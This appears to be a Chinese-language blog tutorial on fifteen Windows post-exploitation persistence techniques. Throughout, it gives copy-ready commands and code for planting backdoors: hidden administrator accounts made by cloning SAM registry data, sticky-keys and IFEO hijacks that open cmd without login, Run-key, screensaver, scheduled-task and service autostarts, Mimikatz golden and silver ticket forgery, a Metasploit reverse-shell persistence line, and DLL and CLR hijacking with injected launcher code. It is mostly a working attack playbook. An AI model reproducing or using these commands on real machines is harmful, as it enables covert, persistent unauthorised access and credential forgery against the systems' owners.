一、影子賬戶
1.使用如下命令創建隱藏用戶并加入管理員組
net user test$ 123456 /add net localgroup administrators test$ /add
創建成功后使用net user命令無法查看到此用戶,但是在計算機管理頁面中還是可以看到,需要通過修改注冊表來隱藏。


2.打開注冊表(HKEY_LOCAL_MACHINE\SAM\SAM)
修改SAM權限,賦予adminitrators完全控制權限。

3.將Administrator用戶對應項的F數據值復制到test$用戶對應項的F數據值。


4.將test$和所對應項000003F1導出,分別命名為test.reg和1.reg


5.刪除test$用戶,將test.reg和1.reg導入注冊表
net user test$ /del regedit /s test.reg regedit /s 1.reg


6.此時在用戶組已經看不到test$用戶,只能在注冊表中能看到。

二、粘滯鍵后門
粘滯鍵指的是電腦使用中的一種快捷鍵,專為同時按下兩個或多個鍵有困難的人而設計的。粘滯鍵的主要功能是方便Shift等鍵的組合使用。一般的電腦連按五次shift會出現粘滯鍵提示。
演示:
粘滯鍵位置:c:\windows\system32\sethc.exe
命令: move sethc.exe sethc1.exe copy cmd.exe sethc.exe
此時連按五次shift鍵即可啟動cmd,而且不需要登錄就可以執行。


三、logon scripts后門
Windows登錄腳本,當用戶登錄時觸發,Logon Scripts能夠優先于殺毒軟件執行,繞過殺毒軟件對敏感操作的攔截。
演示:
注冊表位置:HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe" #創建鍵為:UserInitMprLogonScript,其鍵值為我們要啟動的程序路徑

重啟,上線成功。

四、映像劫持
“映像劫持”,也被稱為“IFEO”(Image File Execution Options),在WindowsNT架構的系統里,IFEO的本意是為一些在默認系統環境中運行時可能引發錯誤的程序執行體提供特殊的環境設定。當一個可執行程序位于IFEO的控制中時,它的內存分配則根據該程序的參數來設定,而WindowsN T架構的系統能通過這個注冊表項使用與可執行程序文件名匹配的項目作為程序載入時的控制依據,最終得以設定一個程序的堆管理機制和一些輔助機制等。出于簡化原因,IFEO使用忽略路徑的方式來匹配它所要控制的程序文件名,所以程序無論放在哪個路徑,只要名字沒有變化,它就運行出問題。
演示:
注冊表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
在此注冊表位置添加項sethc.exe,添加debugger鍵的值為c:\windows\system32\cmd.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

此時點擊五次shift鍵會打開cmd。

五、注冊表自啟動后門
位置一:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
添加鍵test,值為后門程序路徑。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\666.exe"

重新啟動會自動運行后門程序。

位置二:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
修改鍵Userinit的值,重啟就會自動運行程序。


六、屏幕保護程序后門
屏幕保護是Windows功能的一部分,使用戶可以在一段時間不活動后放置屏幕消息或圖形動畫。Windows的此功能被威脅參與者濫用為持久性方法。這是因為屏幕保護程序是具有.scr文件擴展名的可執行文件,并通過scrnsave.scr實用程序執行。
演示:
注冊表位置:HKEY_CURRENT_USER\Control Panel\Desktop
SCRNSAVE.EXE為默認的屏保程序,我們可將此鍵值設置為我們要利用的惡意程序。在本質上,.scr文件是可執行文件。 ScreenSaveActive表示屏保狀態,1為啟動,0為關閉。 ScreenSaverTimeout表示屏幕保護程序啟動前系統的空閑事件,單位為秒,默認為900(15分鐘)。 ScreenSaverIsSecure默認參數為0,標識不需要密碼即可解鎖。

修改SCRASAVE.EXE的值為后門程序路徑,等待屏保時間自動運行。
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\666.exe" /f


七、計劃任務后門
schtasks命令設定計劃自動啟動后門程序。
schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5 #每5分鐘自動執行666.exe



八、服務自啟動后門
自啟動服務一般是在電腦啟動后在后臺加載指定的服務程序,我們可以將exe文件注冊為服務,也可以將dll文件注冊為服務。
演示:
sc create test binpath= c:\666.exe (注意等號后面有空格)#創建服務 sc config test start= auto #設置服務為自動啟動 net start test #啟動服務


九、黃金票據
在Kerberos認證中,Client通過AS(身份認證服務)認證后,AS會給Client一個 Logon Session Key和TGT,而Logon Session Key并不會保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以偽造TGT和Logon Session Key來進入下一步Client與TGS的交互。而已有了金票后,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
演示:
利用條件: 1.域sid 2.域名稱 3.krbtgt ntlm hash或aes256值
未注入票據訪問域控被拒絕。

查看krbtgt ntlm hash: lsadump::dcsync /domain:<域名> /user:krbtgt

清空票據信息: kerberos::purge

生成票據: kerberos::golden /admin:<用戶名> /domain:<域名> /sid:<域SID> /krbtgt: /ticket:<票據名>

導入票據: kerberos::ptt Administrator.kiribi


票據注入成功。


十、白銀票據
黃金票據偽造的TGT,那么白銀票據偽造的是ST。在Kerberos認證的第三步,Client帶著ST和Authenticator3向Server上的某個服務進行請求,Server接收到Client的請求之后,通過自己的Master Key 解密ST,從而獲得 Session Key。通過 Session Key 解密 Authenticator3,進而驗證對方的身份,驗證成功就讓 Client 訪問server上的指定服務了。所以我們只需要知道Server用戶的Hash就可以偽造出一個ST,且不會經過KDC,偽造的門票只對部分服務起作用。
白銀票據常用服務:
Service Type Service Silver Tickets WMI HOST RPCSS PowerShell Remoting HOST HTTP WinRM HOST HTTP Scheduled Tasks HOST Windows File Share (CIFS) CIFS LDAP operations includingMimikatz DCSync LDAP Windows Remote Server Administration Tools RPCSS LDAP CIFS |
利用條件: 1.目標服務器全域名 2.域sid 3.可利用的服務 4.服務賬號的ntlm hash
演示-偽造CIFS權限:
CIFS用于主機之間文件共享。
生成票據: kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標服務器主機名> /service:<服務類型> /rc4: /user:<用戶名> /ptt

此時就可以訪問目標機器的共享目錄了。

十一、組策略設置腳本啟動
1.首先創建一個腳本,此處為添加隱藏用戶,內容如下:
@echo off net user test$ Test123456. /add net localgroup administrators test$ /add exit
2.打開組策略配置腳本(啟動/關機),添加腳本,關機就會自動執行腳本。



十二、bitsadmin
BITS (后臺智能傳送服務) 是一個 Windows 組件,它可以在前臺或后臺異步傳輸文件,為保證其他網絡應用程序獲得響應而調整傳輸速度,并在重新啟動計算機或重新建立網絡連接之后自動恢復文件傳輸。
常用命令: bitsadmin /create [type] DisplayName //創建一個任務 bitsadmin /cancel //刪除一個任務 bitsadmin /list /allusers /verbose //列出所有任務 bitsadmin /AddFile //給任務test添加一個下載文件 bitsadmin /SetNotifyCmdLine [ProgramParameters] //設置在任務完成傳輸時或任務進入狀態時將運行的命令行命令。 bitsadmin /Resume //激活傳輸隊列中的新任務或掛起的任務。 bitsadmin /cancel //刪除某個任務 bitsadmin /reset /allusers //刪除所有任務 bitsadmin /complete //完成某個任務
演示:
bitsadmin /create test //創建任務test bitsadmin /addfile test c:\windows\system32\calc.exe c:\Usersdsec\Desktop\calc.exe bitsadmin /SetNotifyCmdLine test cmd.exe "cmd.exe /c calc.exe" bitsadmin /resume test



十三、msf persistence后門
使用persistence模塊創建后門。
參數: -A 自動啟動匹配的exploit/multi/handler 連接到代理 -L 目標主機中要寫入有效負載的位置,如果沒有,將使用 %TEMP%。 -P 要使用的有效負載,默認為 windows/meterpreter/reverse_tcp。 -S 在啟動時自動啟動代理作為服務(具有 SYSTEM 權限) -T 要使用的備用可執行模板 -U 用戶登錄時自動啟動代理 -X 系統啟動時自動啟動代理 -h 幫助菜單 -i 每次連接嘗試之間的時間間隔(以秒為單位) -p 運行 Metasploit 的系統正在監聽的端口 -r 運行 Metasploit 的系統的 IP 監聽連接
執行如下命令,在目標機創建一個vbs后門,每5秒進行回連:
run persistence -S -U -X -i 5 -p 55555 -r 192.168.1.128


監聽55555端口,成功上線。

十四、DLL劫持
DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱”應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件,放置于系統中。當我們執行某一個程序時,相應的DLL文件就會被調用。
dll加載順序:
Windows xp sp2之前: 1. 進程對應的應用程序所在目錄; 2. 當前目錄(Current Directory); 3. 系統目錄(通過 GetSystemDirectory 獲取); 4. 16位系統目錄; 5. Windows目錄(通過 GetWindowsDirectory 獲取); 6. PATH環境變量中的各個目錄; Windows xp sp2之后: Windows查找DLL的目錄以及對應的順序(SafeDllSearchMode 默認會被開啟): 默認注冊表為:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其鍵值為1 1. 進程對應的應用程序所在目錄(可理解為程序安裝目錄比如C:\ProgramFiles\uTorrent) 2. 系統目錄(即%windir%system32); 3. 16位系統目錄(即%windir%system); 4. Windows目錄(即%windir%); 5. 當前目錄(運行的某個文件所在目錄,比如C:\Documents and Settings\Administrator\Desktop\test); 6. PATH環境變量中的各個目錄; win7以上版本: 系統沒有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此項下的DLL文件就會被禁止從exe自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用,其注冊表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
演示-劫持極速pdf閱讀器:
1.使用process explorer分析可以劫持的dll文件,劫持sqlite3.dll


2.使用ahaeadlib將sqlite3.dll轉為cpp文件

3.使用visual studio打開cpp文件插入要執行的后門代碼,并生成新的dll文件
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\666.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

4.將新的dll文件改名為sqlite3.dll,將舊的sqlite3.dll改為sqlite3Org.dll

5.打開極速pdf閱讀器后成功上線


十五、CLR劫持
CLR全稱Common Language Runtime,中文名稱為公共語言運行時。CLR是.NETFramework的主要執行引擎,作用之一是監視程序的運行。可以理解成,讓系統在執行.NET程序的時候先執行一個你指定的dll文件。
1.修改注冊表:HKEY_CURRENT_USER\Software\Classes\CLSID\
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\test.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

2.配置全局環境變量,不然只在當前cmd窗口劫持.net程序,然后直接執行powershell即可上線。
SETX COR_ENABLE_PROFILING 1 /M
SETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M


FreeBuf
聚銘網絡
雁行安全團隊
CNCERT國家工程研究中心
瀟湘信安
安全圈
系統安全運維
安全圈
安全圈
一顆小胡椒
系統安全運維
娜璋AI安全之家